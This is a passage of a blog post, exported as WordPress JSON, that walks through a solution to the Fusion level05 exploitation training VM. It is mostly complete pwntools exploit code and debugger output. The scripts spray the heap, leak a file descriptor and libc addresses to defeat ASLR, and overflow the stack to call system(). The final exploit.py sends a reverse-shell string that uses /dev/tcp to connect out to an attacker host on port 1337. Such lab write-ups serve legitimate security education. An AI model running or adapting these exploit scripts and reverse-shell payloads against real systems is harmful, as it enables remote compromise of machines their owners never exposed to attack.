x41414141\t0x41414141\r\n0xb87699c0:\t0x41414141\t0x41414141\t0x41414141\t0x41414141\r\n0xb87699d0:\t0x41414141\t0x41414141\t0x41414141\t0x41414141\r\n0xb87699e0:\t0x41414141\t0x41414141\t0x41414141\t0x41414141\r\n0xb87699f0:\t0x41414141\t0x41414141\t0x41414141\t0x41414141\r\n0xb8769a00:\t0x41414141\t0x41414141\t0x41414141\t0x41414141\r\n0xb8769a10:\t0x41414141\t0x41414141\t0x41414141\t0x41414141\r\n0xb8769a20:\t0x41414141\t0x41414141\t0x41414141\t0x41414141\r\n0xb8769a30:\t0x41414141\t0x41414141\t0x41414141\t0x41414141\r\n0xb8769a40:\t0x41414141\t0x41414141\t0x41414141\t0x41414141\r\n0xb8769a50:\t0x41414141\t0x41414141\t0x00000004\t0x00000011\r\n<\/pre>\n<p>The file descriptor that we included at the end (<code>0x00000004<\/code>) will always have an address ending with 8.<\/p>\n<p>Let&#8217;s look at the tail end of the disassembly (from Ghidra) for the <code>get_and_hash()<\/code> function:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\n000127ab     ADD      ESP, 0x2c\r\n000127ae     POP      ESI\r\n000127af     POP      EDI\r\n000127b0     POP      EBP\r\n000127b1     RET\r\n<\/pre>\n<p>The stack includes 44 bytes (0x2c) of space, followed by saved values for the ESI, EDI, EBP, and EIP registers. Once execution is returned to the <code>checkname()<\/code> function, a few things happen but we&#8217;ll see what happens to the value in the ESI register before <code>fdprintf()<\/code> is called:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\n0001282b     MOV      EAX, dword ptr &#x5B;ESI]\r\n0001282d     MOV      dword ptr &#x5B;ESP], EAX\r\n00012830     CALL     fdprintf\r\n<\/pre>\n<p>It gets saved to the top of the stack as the first argument to <code>fdprintf()<\/code>. This tells us that it&#8217;s the pointer to the file descriptor.<\/p>\n<p>Now, I&#8217;ll write a script to find a valid file descriptor address in our heap space.<\/p>\n<pre class=\"brush: python; light: false; title: leak_fd.py; notranslate\" title=\"leak_fd.py\">\r\n#!\/usr\/bin\/env python3\r\n\r\nfrom pwn import *\r\nimport sys\r\n\r\nstart_addr = 0xb9700108\r\ncontent  = b&quot;checkname &quot;\r\ncontent += b&quot;A&quot; * 32\r\n\r\nio = remote(&quot;fusion&quot;, 20005)\r\nlog.info(io.recvline())\r\nlog.info(&quot;Sending &#039;checkname&#039; commands&quot;)\r\n\r\nfor addr in range(start_addr, start_addr+528, 16):\r\n    io.sendline(content + p32(addr))\r\n    data = io.recvline(timeout=0.1)\r\n\r\n    if b&quot;indexed already&quot; in data:\r\n        log.success(f&quot;Found address = {addr:#010x}&quot;)\r\n        log.info(f&quot;Reverse shell string should be at {addr+28:#010x}&quot;)\r\n        sys.exit()\r\n\r\nlog.warning(&quot;File descriptor address not found!&quot;)\r\n<\/pre>\n<p>Choosing the address to start guessing with (line 8) can be tricky. If it&#8217;s outside the heap and it&#8217;s an invalid address, the program will crash and we&#8217;ll need to start over again by spraying the heap. I chose that starting address (<code>0xb9700108<\/code>) because I looked at all the heap starting addresses for the other processes on the system and didn&#8217;t see any that start above that, so it should be safe. I also know that with the amount of data we&#8217;re spraying the heap with, it&#8217;s not too high to go above the allocated heap space. AND I know that the file descriptor address will always end with 8.<\/p>\n<p>You can see that the for loop will only run through 33 times (528 \u00f7 16). That should be the maximum number of guesses needed to find the file descriptor.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/level05 $ .\/leak_fd.py \r\n&#x5B;+] Opening connection to fusion on port 20005: Done\r\n&#x5B;*] ** welcome to level05 **\r\n&#x5B;*] Sending &#039;checkname&#039; commands\r\n&#x5B;+] File descriptor address = 0xb9700208\r\n&#x5B;*] Reverse shell string should be at 0xb9700224\r\n<\/pre>\n<h2>Leaking a Libc Address<\/h2>\n<p>The goal here is to call the <code>system()<\/code> function from libc and pass it a pointer to our reverse shell string. In order to get this address, we would normally leak it&#8217;s address from the .got.plt section. This is how the program knows where the various libc (and other shared libraries) functions are stored at. However, the <code>system()<\/code> function is never called in this binary, so it is not mapped in the .got.plt section. We&#8217;ll need to leak another function&#8217;s address and calculate the offset from that to <code>system()<\/code>. In this case, I&#8217;ll be leaking the <code>write()<\/code> function&#8217;s address.<\/p>\n<p><!--\nNow in order to find the offset of <code>system()<\/code> from <code>write()<\/code>, we'll need to know the libc version used on the Fusion VM. I'm sure I've mentioned this handy tool before: <a href=\"https:\/\/github.com\/niklasb\/libc-database\">https:\/\/github.com\/niklasb\/libc-database<\/a>\nI'd also like to mention a web GUI I found that uses that tool as it's back-end: <a href=\"https:\/\/libc.blukat.me\/\">https:\/\/libc.blukat.me\/<\/a>\n--><\/p>\n<p>First, I&#8217;m going to find the <code>system()<\/code> and <code>write()<\/code> offsets:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\n# readelf -s \/lib\/i386-linux-gnu\/libc-2.13.so | grep -E &#039; system@| write@&#039;\r\n  1409: 0003cb20   139 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0\r\n  2247: 000c12c0   128 FUNC    WEAK   DEFAULT   12 write@@GLIBC_2.0\r\n<\/pre>\n<p>A little hex math tells us that 0xc12c0 &#8211; 0x3cb20 = 0x847a0. So, whichever address we find for <code>write()<\/code>, we just need to subtract 0x847a0 from it in order to get the <code>system()<\/code> function address.<\/p>\n<p>The only reason this exploit will work is because the heap contains a few addresses to functions in our code, presumably because the chunk is not properly free&#8217;d. Let&#8217;s look for those. The steps I&#8217;m taking here:<\/p>\n<ol>\n<li>Print the address of the <code>childtask()<\/code> function<\/li>\n<li>Search for that address in memory<\/li>\n<li>Show the heap chunks (NOTE: If you do this after spraying the heap, it will take a LONG time and try to display ALL of the chunks. Hit Ctrl+C immediately after using the <code>heap chunks<\/code> command to get just the first few.)<\/li>\n<li>Get the difference of the address of the start of my heap spraying and the <code>childtask()<\/code> pointer location<\/li>\n<li>Divide that difference by 4<\/li>\n<li>Use the <code>dereference<\/code> command to show the last 34 word values of that large chunk before our heap spraying<\/li>\n<\/ol>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\ngef\u27a4  p childtask\r\n$1 = {void (void *)} 0xb78d9c70 &lt;childtask&gt;\r\n\r\ngef\u27a4  search-pattern 0xb78d9c70\r\n&#x5B;+] Searching &#039;\\x70\\x9c\\x8d\\xb7&#039; in memory\r\n&#x5B;+] In (0xb76ed000-0xb772f000), permission=rw-\r\n  0xb772d130 - 0xb772d140  \u2192   &quot;\\x70\\x9c\\x8d\\xb7&#x5B;...]&quot; \r\n&#x5B;+] In &#039;&#x5B;heap]&#039;(0xb8c14000-0xb8c35000), permission=rw-\r\n  0xb8c1c6ec - 0xb8c1c6fc  \u2192   &quot;\\x70\\x9c\\x8d\\xb7&#x5B;...]&quot; \r\n  0xb8c1c840 - 0xb8c1c850  \u2192   &quot;\\x70\\x9c\\x8d\\xb7&#x5B;...]&quot; \r\n  0xb8c247c8 - 0xb8c247d8  \u2192   &quot;\\x70\\x9c\\x8d\\xb7&#x5B;...]&quot; \r\n\r\ngef\u27a4  heap chunks \r\nChunk(addr=0xb8c14008, size=0x108, flags=PREV_INUSE)\r\n    &#x5B;0xb8c14008     08 d0 6e b7 10 41 c1 b8 b0 c4 c1 b8 a0 4e c2 b8    ..n..A.......N..]\r\nChunk(addr=0xb8c14110, size=0x83a0, flags=PREV_INUSE)\r\n    &#x5B;0xb8c14110     66 64 74 61 73 6b 00 00 00 00 00 00 00 00 00 00    fdtask..........]\r\nChunk(addr=0xb8c1c4b0, size=0x83a0, flags=PREV_INUSE)\r\n    &#x5B;0xb8c1c4b0     98 4e c2 b8 30 84 8a b7 00 00 00 00 00 00 00 00    .N..0...........]\r\nChunk(addr=0xb8c24850, size=0x10, flags=)\r\n    &#x5B;0xb8c24850     04 00 00 00 60 48 c2 b8 00 00 00 00 01 02 00 00    ....`H..........]\r\nChunk(addr=0xb8c24860, size=0x200, flags=PREV_INUSE)\r\n    &#x5B;0xb8c24860     41 42 43 00 2f 62 69 6e 2f 73 68 20 3e 20 2f 64    ABC.\/bin\/sh &gt; \/d]\r\n...\r\n\r\ngef\u27a4  p\/d 0xb8c24850 - 0xb8c247c8\r\n$2 = 136\r\n\r\ngef\u27a4  p\/d 136 \/ 4\r\n$3 = 34\r\n\r\ngef\u27a4  dereference 0xb8c247c8 34\r\n0xb8c247c8\u2502+0x0000: 0xb78d9c70  \u2192  &lt;childtask+0&gt; push ebp\r\n0xb8c247cc\u2502+0x0004: 0xb8c1c72c  \u2192  0x00000000\r\n0xb8c247d0\u2502+0x0008: 0xb78e160c  \u2192  0x00000000\r\n0xb8c247d4\u2502+0x000c: 0xb776c629  \u2192  &lt;swapcontext+89&gt; pop ebx\r\n0xb8c247d8\u2502+0x0010: 0x00000002\r\n0xb8c247dc\u2502+0x0014: 0xb78dc349  \u2192  &lt;taskswitch+41&gt; test eax, eax\r\n0xb8c247e0\u2502+0x0018: 0xb8c1c6c0  \u2192  0x00000000\r\n0xb8c247e4\u2502+0x001c: 0xb78e15a0  \u2192  0x00000000\r\n0xb8c247e8\u2502+0x0020: 0x00000000\r\n0xb8c247ec\u2502+0x0024: 0x00000000\r\n0xb8c247f0\u2502+0x0028: 0x00000000\r\n0xb8c247f4\u2502+0x002c: 0x00000000\r\n0xb8c247f8\u2502+0x0030: 0xb78dc380  \u2192  &lt;taskstart+0&gt; sub esp, 0x1c\r\n0xb8c247fc\u2502+0x0034: 0xb776c5ab  \u2192  &lt;makecontext+75&gt; lea esp, &#x5B;esp+ebx*4]\r\n0xb8c24800\u2502+0x0038: 0x00000000\r\n0xb8c24804\u2502+0x003c: 0x00000000\r\n...\r\n<\/pre>\n<p>You can see there&#8217;s a couple of other function addresses in here, there&#8217;s no particular reason to use <code>childtask()<\/code> over the others.<\/p>\n<p>Next, I&#8217;ll need to find the offset of the <code>wite@got.plt<\/code> location from where the pointer to <code>childtask()<\/code> is. I&#8217;ll first ask GDB to print the address of <code>write()<\/code> in libc and search memory for that address. This will be the location in the .got.plt section that stores its location. Then we just subtract the location of <code>childtask()<\/code> from the <code>write()<\/code> address stored in .got.plt to find the offset. We can use this offset because the heap contains a pointer to <code>childtask()<\/code> and is always at the same location (near the beginning of the heap):<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\ngef\u27a4  p write\r\n$1 = {&lt;text variable, no debug info&gt;} 0xb76382c0 &lt;write&gt;\r\n\r\ngef\u27a4  search-pattern 0xb76382c0\r\n&#x5B;+] Searching &#039;\\xc0\\x82\\x63\\xb7&#039; in memory\r\n&#x5B;+] In &#039;\/opt\/fusion\/bin\/level05&#039;(0xb7726000-0xb7727000), permission=rw-\r\n  0xb77261a8 - 0xb77261b8  \u2192   &quot;\\xc0\\x82\\x63\\xb7&#x5B;...]&quot; \r\n\r\ngef\u27a4  p childtask\r\n$2 = {void (void *)} 0xb7721c70 &lt;childtask&gt;\r\n\r\ngef\u27a4  p 0xb77261a8 - 0xb7721c70\r\n$3 = 0x4538\r\n<\/pre>\n<p>This offset value will be the same each time the program is loaded into memory.<\/p>\n<p>In summary, we&#8217;ll need to:<\/p>\n<ol>\n<li>Find <code>childtask()<\/code> pointer stored in the heap<\/li>\n<li>Find the <code>write()<\/code> function address stored in the .got.plt section<\/li>\n<li>Calculate the address to <code>system()<\/code><\/li>\n<\/ol>\n<p>Here&#8217;s the script I wrote to find the <code>childtask()<\/code> pointer in the heap and display the required addresses.<\/p>\n<pre class=\"brush: python; light: false; title: find_system.py; notranslate\" title=\"find_system.py\">\r\n#!\/usr\/bin\/env python3\r\n\r\nfrom pwn import *\r\nimport time\r\nimport sys\r\n\r\n##################\r\nFD = 0xb97001b0  # Use the address found from leaking the file descriptor\r\n##################\r\nbad_chars = &#x5B;b&#039;&#92;&#48;&#039;, b&#039;\\x0a&#039;, b&#039;\\x0d&#039;, b&#039;\\x40&#039;]\r\ncontent  = b&quot;checkname &quot;\r\ncontent += b&quot;A&quot; * 32\r\nalign = 0x860\r\n#context.log_level = &#039;DEBUG&#039;\r\n\r\n\r\ndef send(read_ptr):\r\n    payload  = content\r\n    payload += p32(FD)\r\n    payload += p32(read_ptr)\r\n    io.sendline(payload)\r\n    return io.recvline(timeout=0.1)\r\n\r\n\r\ndef bad(addr):\r\n    if any(bad in p32(addr) for bad in bad_chars):\r\n        return True\r\n    else:\r\n        return False\r\n\r\n\r\nif bad(FD):\r\n    log.error(&quot;File descriptor address contains a bad byte.&quot;)\r\n\r\nio = remote(&quot;fusion&quot;, 20005)\r\nlog.info(io.recvline())\r\nread = ((FD - align - 1) &amp; 0xfffff000) + align\r\n# Keep track of when the previous address contained a bad byte\r\nprev_bad = False\r\nlog.info(&quot;Searching...&quot;)\r\n\r\nwhile read &gt; 0xb7000000:\r\n    if bad(read):\r\n        #log.failure(f&quot;Bad byte found in address {read:#010x}&quot;)\r\n        prev_bad = True\r\n        read -= 0x1000\r\n        continue\r\n\r\n    time.sleep(0.005)\r\n    data = send(read)\r\n\r\n    if not data:\r\n        log.error(&quot;No data received. Either the program crashed or you have a bad file descriptor address.&quot;)\r\n\r\n    elif data&#x5B;:3] == b&quot;ABC&quot;:\r\n        prev_inuse = send(read - 24)\r\n\r\n        if prev_inuse&#x5B;:2] == b&quot;\\xa0\\x83&quot;:\r\n            # childtask() ptr offset from start of user-supplied heap = -136 bytes\r\n            childtask_str = send(read - 136)\r\n            childtask = unpack(childtask_str&#x5B;:4])\r\n            write_str = send(childtask + 0x4538)\r\n            write_addr = unpack(write_str&#x5B;:4])\r\n            log.info(f&quot;Last address read: {read-136:#010x}&quot;)\r\n            log.success(f&quot;Found address to childtask(): {childtask:#010x}&quot;)\r\n            log.success(f&quot;   The write@got.plt address: {(childtask+0x4538):#010x}&quot;)\r\n            log.success(f&quot;   The address to write() is: {write_addr:#010x}&quot;)\r\n            log.success(f&quot;  The address to system() is: {(write_addr-0x847a0):#010x}&quot;)\r\n            break\r\n\r\n    elif data == b&quot; is not indexed already\\n&quot; and prev_bad:\r\n        log.failure(f&quot;The last address read ({read+0x1000:#010x}) contained a bad byte and now we&#039;ve hit a null region.\\n&quot;\r\n                    &quot;The pointer to childtask() may be unreadable if its address has one or more bad bytes in it.&quot;\r\n                    &quot;It is recommended to crash the program so you can start over.&quot;)\r\n        log.warning(&quot;NOTE: You will need to spray the heap again&quot;)\r\n        crash = input(&quot;Crash the program? &#x5B;Y\/n] &quot;)\r\n\r\n        if crash.lower() == &quot;n&quot;:\r\n            log.failure(&quot;Exiting&quot;)\r\n            sys.exit(1)\r\n        else:\r\n            log.warning(&quot;OK, crashing the program&quot;)\r\n            io.sendline(content + b&quot;A&quot;*12)\r\n            sys.exit(1)\r\n\r\n    elif data == b&quot; is not indexed already\\n&quot; and not prev_bad:\r\n        log.failure(&quot;We&#039;ve hit a null region. Something went wrong.&quot;)\r\n        log.info(f&quot;Last address read: {read+0x1000:#010x}&quot;)\r\n        sys.exit(1)\r\n\r\n    read -= 0x1000\r\n    prev_bad = False\r\n<\/pre>\n<p>This went through a lot of trial-and-error and there&#8217;s probably a better way of doing it than this. But it works.<\/p>\n<p>andrew ~\/level05 $ .\/find_system.py<br \/>\n[+] Opening connection to fusion on port 20005: Done<br \/>\n[*] ** welcome to level05 **<br \/>\n[*] Searching&#8230;<br \/>\n[*] Last address read: 0xb876f7d8<br \/>\n[+] Found address to childtask(): 0xb7876c70<br \/>\n[+]    The write@got.plt address: 0xb787b1a8<br \/>\n[+]    The address to write() is: 0xb778d2c0<br \/>\n[+]   The address to system() is: 0xb7708b20<\/p>\n<h2>Getting A Reverse Shell<\/h2>\n<p>Now that we have the address to the <code>system()<\/code> function, We can use the buffer overflow in the <code>get_and_hash()<\/code> function to take control of the program and execute our reverse shell string. It&#8217;s as simple as overwriting the saved EIP register on the stack with the address to <code>system()<\/code> and and supplying it with the address to our reverse shell string as an argument.<\/p>\n<pre class=\"brush: python; light: false; title: rshell.py; notranslate\" title=\"rshell.py\">\r\n#!\/usr\/bin\/env python3\r\n\r\nfrom pwn import *\r\nimport sys\r\n\r\nbad_chars = &#x5B;b&#039;&#92;&#48;&#039;, b&#039;\\x0a&#039;, b&#039;\\x0d&#039;, b&#039;\\x40&#039;]\r\ndef bad(addr):\r\n    if any(bad in p32(addr) for bad in bad_chars):\r\n        return True\r\n    else:\r\n        return False\r\n\r\n###################\r\nSYSTEM = 0xb7750b20\r\nSTRING = 0xb87c9864\r\n###################\r\nif bad(SYSTEM):\r\n    log.failure(&quot;The system() address contains a bad byte&quot;\r\n                &quot;It is recommended to crash the program so you can start over.&quot;)\r\n    log.warning(&quot;NOTE: You will need to spray the heap again&quot;)\r\n    crash = input(&quot;Crash the program? &#x5B;Y\/n] &quot;)\r\n    if crash.lower() == &quot;n&quot;:\r\n        log.failure(&quot;Exiting&quot;)\r\n        sys.exit(1)\r\n    else:\r\n        log.warning(&quot;OK, crashing the program&quot;)\r\n        io.sendline(content + b&quot;A&quot;*12)\r\n        sys.exit(1)\r\n\r\ncontent  = b&quot;checkname &quot;\r\ncontent += b&quot;A&quot; * 44\r\ncontent += p32(SYSTEM)\r\ncontent += b&quot;A&quot; * 4\r\ncontent += p32(STRING)\r\n\r\nio = remote(&quot;fusion&quot;, 20005)\r\nlog.info(io.recvline())\r\nl = listen(1337)\r\nio.sendline(content)\r\n\r\nl.wait_for_connection()\r\nl.interactive()\r\n<\/pre>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/level05 $ .\/rshell.py \r\n&#x5B;+] Opening connection to fusion on port 20005: Done\r\n&#x5B;*] ** welcome to level05 **\r\n&#x5B;+] Trying to bind to :: on port 1337: Done\r\n&#x5B;+] Waiting for connections on :::1337: Got connection from ::ffff:10.0.1.5 on port 55669\r\n&#x5B;*] Switching to interactive mode\r\n$ id\r\nuid=20005 gid=20005 groups=20005\r\n$\r\n<\/pre>\n<h1>Conclusion<\/h1>\n<p>Wow, this was a long one. I did my best to explain everything as much as possible. Of course, some prerequisite knowledge is still required. But if you, dear reader, feel like I did a poor job at explaining something, leave a comment. It is my goal here to provide the best write-up possible.<\/p>\n<p>Here&#8217;s a quick TLDR on what we did:<\/p>\n<ul>\n<li>Spray the heap with a reverse shell string<\/li>\n<ul style=\"list-style-type:circle;\">\n<li>Need enough to ensure we can start guessing at addresses and hit our data<\/li>\n<li>This is only possible because the program does not properly free heap-allocated space<\/li>\n<\/ul>\n<li>Use the BOF vulnerability in the <code>get_and_hash()<\/code> function to find a valid file descriptor address in our data<\/li>\n<ul style=\"list-style-type:circle;\">\n<li>Using the <code>checkname<\/code> command will call this function<\/li>\n<li>We&#8217;ll know we&#8217;ve hit a valid file descriptor (<code>4<\/code>) when we get a response from the server<\/li>\n<\/ul>\n<li>This causes an information leak vulnerability that allows us to read data from the heap<\/li>\n<ul style=\"list-style-type:circle;\">\n<li>The address pointing to the string returned to the client is right after the file descriptor on the stack<\/li>\n<li>We keep stepping back &#038; reading data from the heap all the way to the beginning<\/li>\n<li>There&#8217;s pointers to several functions in the level05 binary near the beginning of the heap<\/li>\n<li>Leaking one of those addresses (<code>checkname()<\/code> is used here) allows us to defeat ASLR<\/li>\n<\/ul>\n<li>Read the address to a Libc function from the .got.plt section<\/li>\n<ul style=\"list-style-type:circle;\">\n<li>The function used here is <code>write()<\/code> and it&#8217;s address is at a constant offset from <code>checkname()<\/code><\/li>\n<li>Calculate the <code>system()<\/code> function address as it is a constant offset from <code>write()<\/code><\/li>\n<\/ul>\n<li>Utilize the BOF vulnerability to overwrite the saved EIP register with the address to <code>system()<\/code><\/li>\n<ul style=\"list-style-type:circle;\">\n<li>The next 4 bytes after that can be anything, however, it&#8217;s recommended to use the address to <code>exit()<\/code><\/li>\n<li>This prevents the program from causing a segfault when you quit the reverse shell<\/li>\n<li>The last 4 bytes are the address to our reverse shell string as an argument to <code>system()<\/code><\/li>\n<\/ul>\n<\/ul>\n<p>One last thing to do is to put this all together into a single exploit script.<\/p>\n<pre class=\"brush: python; light: false; title: exploit.py; notranslate\" title=\"exploit.py\">\r\n#!\/usr\/bin\/env python3\r\n\r\nfrom pwn import *\r\nimport time\r\nimport sys\r\n\r\n\r\ndef connect():\r\n    io = remote(&quot;fusion&quot;, 20005)\r\n    log.info(io.recvline())\r\n    return io\r\n\r\n\r\n### HEAP SPRAY #################################################################\r\ndef spray(io):\r\n    buff_sz = 504\r\n    command  = b&quot;isup &quot;\r\n    content  = b&quot;ABC &quot;\r\n    content += b&quot;\/bin\/sh &gt; \/dev\/tcp\/10.0.1.4\/1337 0&gt;&amp;1 2&gt;&amp;1; &quot; # 44 bytes\r\n    content += b&quot;A&quot; * (buff_sz - len(content))\r\n    content += pack(4)\r\n\r\n    max_spray = 60222\r\n    with log.progress(&#039;Spraying&#039;) as p:\r\n        for i in range(max_spray):\r\n            io.send(command + content)\r\n            p.status(f&quot;{(i\/max_spray):.2%}&quot;)\r\n            time.sleep(0.005)\r\n\r\n    io.close()\r\n    print()\r\n\r\n\r\n### LEAK FILE DESCRIPTOR #######################################################\r\nCHECKNAME  = b&quot;checkname &quot;\r\nCHECKNAME += b&quot;A&quot; * 32\r\n\r\ndef leak_fd(io):\r\n    print()\r\n    start_addr = 0xb9700108\r\n\r\n    log.info(&quot;Searching for a valid file descriptor...&quot;)\r\n    for fd in range(start_addr, start_addr+528, 16):\r\n        io.sendline(CHECKNAME + p32(fd))\r\n        data = io.recvline(timeout=0.1)\r\n\r\n        if b&quot;indexed already&quot; in data:\r\n            log.success(f&quot;File descriptor address: {fd:#010x}&quot;)\r\n            string = fd + 28\r\n            log.success(f&quot;Reverse shell string at: {string:#010x}&quot;)\r\n            break\r\n    else:\r\n        log.error(&quot;File descriptor address not found!&quot;)\r\n\r\n    return fd, string\r\n\r\n\r\n### FIND SYSTEM() ADDRESS ######################################################\r\ndef send(io, fd, read_ptr):\r\n    payload  = CHECKNAME\r\n    payload += p32(fd)\r\n    payload += p32(read_ptr)\r\n    io.sendline(payload)\r\n    return io.recvline(timeout=0.1)\r\n\r\n\r\ndef crash(io):\r\n    log.failure(&quot;It is recommended to crash the program so you can start over.&quot;)\r\n    log.warning(&quot;NOTE: You will need to spray the heap again&quot;)\r\n    resp = input(&quot;Crash the program? &#x5B;Y\/n] &quot;)\r\n    if resp.lower() == &quot;n&quot;:\r\n        log.failure(&quot;Exiting&quot;)\r\n        sys.exit(1)\r\n    else:\r\n        log.warning(&quot;OK, crashing the program&quot;)\r\n        io.sendline(CHECKNAME + b&quot;A&quot;*12)\r\n        sys.exit(1)\r\n\r\n\r\ndef bad(addr):\r\n    bad_chars = &#x5B;b&#039;&#92;&#48;&#039;, b&#039;\\x0a&#039;, b&#039;\\x0d&#039;, b&#039;\\x40&#039;]\r\n    if any(bad in p32(addr) for bad in bad_chars):\r\n        return True\r\n    return False\r\n\r\n\r\ndef find_system(io, fd):\r\n    print()\r\n    # Keep track of when the previous address contained a bad byte\r\n    prev_bad = False\r\n    align = 0x860\r\n    read = ((fd - align - 1) &amp; 0xfffff000) + align\r\n    log.info(&quot;Searching for system()...&quot;)\r\n\r\n    while read &gt; 0xb7000000:\r\n        if bad(read):\r\n            #log.failure(f&quot;Bad byte found in address {read:#010x}&quot;)\r\n            prev_bad = True\r\n            read -= 0x1000\r\n            continue\r\n\r\n        time.sleep(0.005)\r\n        data = send(io, fd, read)\r\n\r\n        if not data:\r\n            log.error(&quot;No data received. Either the program crashed or you have a bad file descriptor address.&quot;)\r\n\r\n        elif data&#x5B;:3] == b&quot;ABC&quot;:\r\n            prev_inuse = send(io, fd, read - 24)\r\n\r\n            if prev_inuse&#x5B;:2] == b&quot;\\xa0\\x83&quot;:\r\n                # childtask() ptr offset from start of user-supplied heap = -136 bytes\r\n                childtask_str = send(io, fd, read - 136)\r\n                childtask = unpack(childtask_str&#x5B;:4])\r\n                write_str = send(io, fd, childtask + 0x4538)\r\n                write_addr = unpack(write_str&#x5B;:4])\r\n                system = write_addr - 0x847a0\r\n                log.success(f&quot;Address to childtask() stored at: {read-136:#010x}&quot;)\r\n                log.success(f&quot;          Address to childtask(): {childtask:#010x}&quot;)\r\n                log.success(f&quot;       The write@got.plt address: {childtask+0x4538:#010x}&quot;)\r\n                log.success(f&quot;       The address to write() is: {write_addr:#010x}&quot;)\r\n                log.success(f&quot;      The address to system() is: {system:#010x}&quot;)\r\n                break\r\n\r\n        elif data == b&quot; is not indexed already\\n&quot; and prev_bad:\r\n            log.failure(f&quot;The last address read ({read+0x1000:#010x}) contained a bad byte and now we&#039;ve hit a null region.\\n&quot;\r\n                        &quot;The pointer to childtask() may be unreadable if its address has one or more bad bytes in it.&quot;)\r\n            crash(io)\r\n\r\n        elif data == b&quot; is not indexed already\\n&quot; and not prev_bad:\r\n            log.failure(&quot;We&#039;ve hit a null region. Something went wrong.&quot;)\r\n            log.info(f&quot;Last address read: {read+0x1000:#010x}&quot;)\r\n            sys.exit(1)\r\n\r\n        read -= 0x1000\r\n        prev_bad = False\r\n    else:\r\n        log.error(&quot;Something went wrong. Unable to find pointer to childtask() in the heap.&quot;)\r\n\r\n    return system\r\n\r\n\r\n### GET REVERSE SHELL ##########################################################\r\ndef rshell(io, system, string):\r\n    print()\r\n    if bad(system):\r\n        log.failure(&quot;The system() address contains a bad byte&quot;)\r\n        crash(io)\r\n\r\n    EXIT = system - 0xa140\r\n\r\n    payload  = CHECKNAME\r\n    payload += b&quot;A&quot; * 12\r\n    payload += p32(system)\r\n    payload += p32(EXIT)\r\n    payload += p32(string)\r\n\r\n    l = listen(1337)\r\n    io.sendline(payload)\r\n\r\n    l.wait_for_connection()\r\n    l.interactive()\r\n\r\n\r\nif __name__ == &quot;__main__&quot;:\r\n    io = connect()\r\n    spray(io)\r\n    io = connect()\r\n    fd, string = leak_fd(io)\r\n    system = find_system(io, fd)\r\n    rshell(io, system, string)\r\n<\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2021\/04\/level05_exploit.png\" alt=\"\" width=\"808\" height=\"468\" class=\"alignnone size-full wp-image-1590\" srcset=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2021\/04\/level05_exploit.png 808w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2021\/04\/level05_exploit-300x174.png 300w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2021\/04\/level05_exploit-768x445.png 768w\" sizes=\"auto, (max-width: 808px) 100vw, 808px\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Even more information leaks and stack overwrites. This time with random libraries \/ evented programming styles :> &hellip; <a href=\"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-fusion-level-05-solution\/\" class=\"more-link\"><span class=\"readmore\">Continue reading<span class=\"screen-reader-text\">Exploit Education | Fusion | Level 05 Solution<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-1476","post","type-post","status-publish","format-standard","hentry","category-solutions"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/1476","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=1476"}],"version-history":[{"count":108,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/1476\/revisions"}],"predecessor-version":[{"id":1659,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/1476\/revisions\/1659"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=1476"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=1476"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=1476"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}